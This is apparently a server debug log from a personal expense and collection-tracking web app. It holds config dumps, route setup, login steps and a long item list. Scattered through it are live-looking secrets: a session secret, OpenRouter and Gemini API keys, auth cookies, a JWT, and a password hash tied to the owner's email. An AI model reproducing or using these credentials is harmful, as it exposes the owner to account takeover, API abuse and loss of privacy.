    'HTTP_X_FORWARDED-FOR': '94.154.43.183',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-21T03:12:59.644Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-21T03:13:01.914Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-21T03:13:02.781Z server-connect:setup:upload Upload middleware configured.
2026-07-21T03:13:02.781Z server-connect:secure CSRF Protection initialized
2026-07-21T03:13:02.785Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-21T03:13:02.786Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-21T03:13:02.787Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-21T03:13:02.789Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-21T03:13:02.795Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-21T03:13:02.799Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-21T03:13:02.814Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-21T03:13:02.829Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-21T03:13:02.830Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-21T03:13:02.832Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-21T03:13:02.834Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-21T03:13:02.839Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-21T03:13:02.844Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-21T03:13:02.853Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-21T03:13:02.858Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-21T03:13:02.930Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-21T03:13:02.931Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-21T03:13:02.936Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-21T03:13:02.942Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-21T03:13:02.945Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-21T03:13:02.947Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-21T03:13:02.955Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-21T03:13:02.958Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-21T03:13:02.963Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-21T03:13:02.966Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-21T03:13:02.969Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-21T03:13:02.971Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-21T03:13:02.976Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-21T03:13:02.978Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-21T03:13:02.980Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-21T03:13:02.982Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-21T03:13:02.984Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-21T03:13:02.989Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-21T03:13:02.992Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-21T03:13:02.998Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-21T03:13:03.003Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-21T03:13:03.004Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-21T03:13:03.013Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-21T13:02:46.716Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-21T13:02:48.924Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-21T13:02:49.790Z server-connect:setup:upload Upload middleware configured.
2026-07-21T13:02:49.791Z server-connect:secure CSRF Protection initialized
2026-07-21T13:02:49.797Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-21T13:02:49.797Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-21T13:02:49.799Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-21T13:02:49.801Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-21T13:02:49.807Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-21T13:02:49.812Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-21T13:02:49.829Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-21T13:02:49.838Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-21T13:02:49.842Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-21T13:02:49.844Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-21T13:02:49.846Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-21T13:02:49.850Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-21T13:02:49.855Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-21T13:02:49.865Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-21T13:02:49.869Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-21T13:02:49.942Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-21T13:02:49.943Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-21T13:02:49.948Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-21T13:02:49.954Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-21T13:02:49.957Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-21T13:02:49.959Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-21T13:02:49.967Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-21T13:02:49.969Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-21T13:02:49.977Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-21T13:02:49.980Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-21T13:02:49.983Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-21T13:02:49.983Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-21T13:02:49.986Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-21T13:02:49.991Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-21T13:02:49.994Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-21T13:02:49.996Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-21T13:02:49.998Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-21T13:02:50.002Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-21T13:02:50.005Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-21T13:02:50.010Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-21T13:02:50.015Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-21T13:02:50.015Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-21T13:02:50.025Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-21T13:02:50.517Z server-connect:router Serving templateView /
2026-07-21T13:02:50.558Z server-connect:app Executing action step identify
2026-07-21T13:02:50.558Z server-connect:app options: { provider: 'security' }
2026-07-21T13:02:50.620Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-07-21T13:02:50.630Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-07-21T13:02:50.682Z server-connect:output identity: 1
2026-07-21T13:02:50.682Z server-connect:app Executing action step restrict
2026-07-21T13:02:50.682Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-21T13:02:50.684Z server-connect:output restrict: undefined
2026-07-21T13:02:50.684Z server-connect:app Executing action step restrict
2026-07-21T13:02:50.684Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-21T13:02:50.685Z server-connect:output restrict: undefined
2026-07-21T13:02:50.685Z server-connect:router Render template layouts/main
2026-07-21T13:02:50.686Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; userID=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMyIsImlhdCI6MTc4NDYxMzgyOC4yODMyMTUsImV4cCI6MTc4NTIxODYyOC4yODMyMzh9.vSbFGRs2ovzsZUcUpLDkQOfyxuOCJ-Bi5s9DaHdw7L4',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {
    userID: 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMyIsImlhdCI6MTc4NDYxMzgyOC4yODMyMTUsImV4cCI6MTc4NTIxODYyOC4yODMyMzh9.vSbFGRs2ovzsZUcUpLDkQOfyxuOCJ-Bi5s9DaHdw7L4'
  },
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-22T13:02:50.514Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; userID=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMyIsImlhdCI6MTc4NDYxMzgyOC4yODMyMTUsImV4cCI6MTc4NTIxODYyOC4yODMyMzh9.vSbFGRs2ovzsZUcUpLDkQOfyxuOCJ-Bi5s9DaHdw7L4',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-07-21T13:02:58.035Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-07-21T13:02:58.035Z server-connect:router Serving serverConnect /api/masters/get-items
2026-07-21T13:02:58.036Z server-connect:app Executing action step identify
2026-07-21T13:02:58.036Z server-connect:app options: { provider: 'security' }
2026-07-21T13:02:58.036Z server-connect:output identity: 1
2026-07-21T13:02:58.036Z server-connect:app Executing action step restrict
2026-07-21T13:02:58.036Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-21T13:02:58.037Z server-connect:output restrict: undefined
2026-07-21T13:02:58.038Z server-connect:app Executing action step single
2026-07-21T13:02:58.038Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-07-21T13:02:58.040Z server-connect:app Executing action step identify
2026-07-21T13:02:58.041Z server-connect:app options: { provider: 'security' }
2026-07-21T13:02:58.041Z server-connect:output identity: 1
2026-07-21T13:02:58.041Z server-connect:app Executing action step restrict
2026-07-21T13:02:58.041Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-21T13:02:58.042Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-07-21T13:02:58.043Z server-connect:output restrict: undefined
2026-07-21T13:02:58.043Z server-connect:app Executing action step select
2026-07-21T13:02:58.043Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-07-21T13:02:58.050Z server-connect:output list: [
  {
    item_name: 'Budwiser Beer',
    item_id: 502,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Godfather Beer',
    item_id: 536,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Bira Super Strong Beer',
    item_id: 544,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Tuborg Strong',
    item_id: 562,
    category_name: 'Alcohol'
  },
  { item_name: 'Breezers', item_id: 641, category_name: 'Alcohol' },
  { item_name: 'Vodka', item_id: 644, category_name: 'Alcohol' },
  {
    item_name: '6 Fields Beer',
    item_id: 720,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Kingfisher Beer',
    item_id: 766,
    category_name: 'Alcohol'
  },
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'School Dress', item_id: 662, category_name: 'Apparel' },
  {
    item_name: 'Jocket Trouser',
    item_id: 734,
    category_name: 'Apparel'
  },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Baby Care' },
  {
    item_name: 'Johnson Baby Product',
    item_id: 162,
    category_name: 'Baby Care'
  },
  { item_name: 'Pampers', item_id: 181, category_name: 'Baby Care' },
  {
    item_name: 'Feeder Bottle',
    item_id: 187,
    category_name: 'Baby Care'
  },
  {
    item_name: 'Mamy Poko Pankts',
    item_id: 196,
    category_name: 'Baby Care'
  },
  { item_name: 'Baby Socks', item_id: 247, category_name: 'Baby Care' },
  {
    item_name: 'Johnson Baby Cream',
    item_id: 249,
    category_name: 'Baby Care'
  },
  { item_name: 'Baby Items', item_id: 250, category_name: 'Baby Care' },
  { item_name: 'Huggies', item_id: 290, category_name: 'Baby Care' },
  {
    item_name: 'Cold Drink',
    item_id: 59,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Tea',
    item_id: 100,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Nimu soda',
    item_id: 141,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Flavored Mojito',
    item_id: 281,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Rajbhog Shake',
    item_id: 294,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mint Mojito',
    item_id: 296,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Lassi',
    item_id: 298,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Choco Freaky Shake',
    item_id: 317,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mango Thick Shake',
    item_id: 331,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Strawberry Shake',
    item_id: 333,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Labab shake',
    item_id: 349,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mix Fruit Shake',
    item_id: 351,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Chochlate Shake',
    item_id: 352,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Strawberry Freaky shake',
    item_id: 357,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Black Current shake',
    item_id: 361,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mango Juice',
    item_id: 400,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Monster Energy Drink',
    item_id: 420,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Real Fruit Juice',
    item_id: 466,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Lays Classic',
    item_id: 467,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Tonic WaterSchweppes',
    item_id: 478,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Hell Energy Drink',
    item_id: 479,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Soda',
    item_id: 485,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kesar Pista Shake',
    item_id: 497,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Predator Energy Drink',
    item_id: 516,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sting Enery Drink',
    item_id: 520,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mint Soda Ice cream',
    item_id: 522,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Bombay Banta',
    item_id: 528,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Coke Sugar Free',
    item_id: 537,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Charged Energy Drink',
    item_id: 545,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Orange Juice',
    item_id: 576,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Alo Energy Drink',
    item_id: 659,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Iced Americano Cold Coffee',
    item_id: 660,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Gulkand Pan Shake',
    item_id: 700,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Hersheys Milk Shake',
    item_id: 716,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Motherdairy Masala Chach',
    item_id: 718,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Bale Juice',
    item_id: 723,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Anar Juice',
    item_id: 726,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Nimbu Juice',
    item_id: 731,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Badam Shake',
    item_id: 733,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'House Premium',
    item_id: 45,
    category_name: 'Bills, EMIs & Subscriptions'
  },
  ... 600 more items
]
2026-07-21T13:03:00.083Z server-connect:router Serving templateView /diecast-reports
2026-07-21T13:03:00.084Z server-connect:app Executing action step identify
2026-07-21T13:03:00.084Z server-connect:app options: { provider: 'security' }
2026-07-21T13:03:00.084Z server-connect:output identity: 1
2026-07-21T13:03:00.084Z server-connect:app Executing action step restrict
2026-07-21T13:03:00.084Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-21T13:03:00.085Z server-connect:output restrict: undefined
2026-07-21T13:03:00.085Z server-connect:router Render template diecast-reports
2026-07-21T13:03:00.085Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
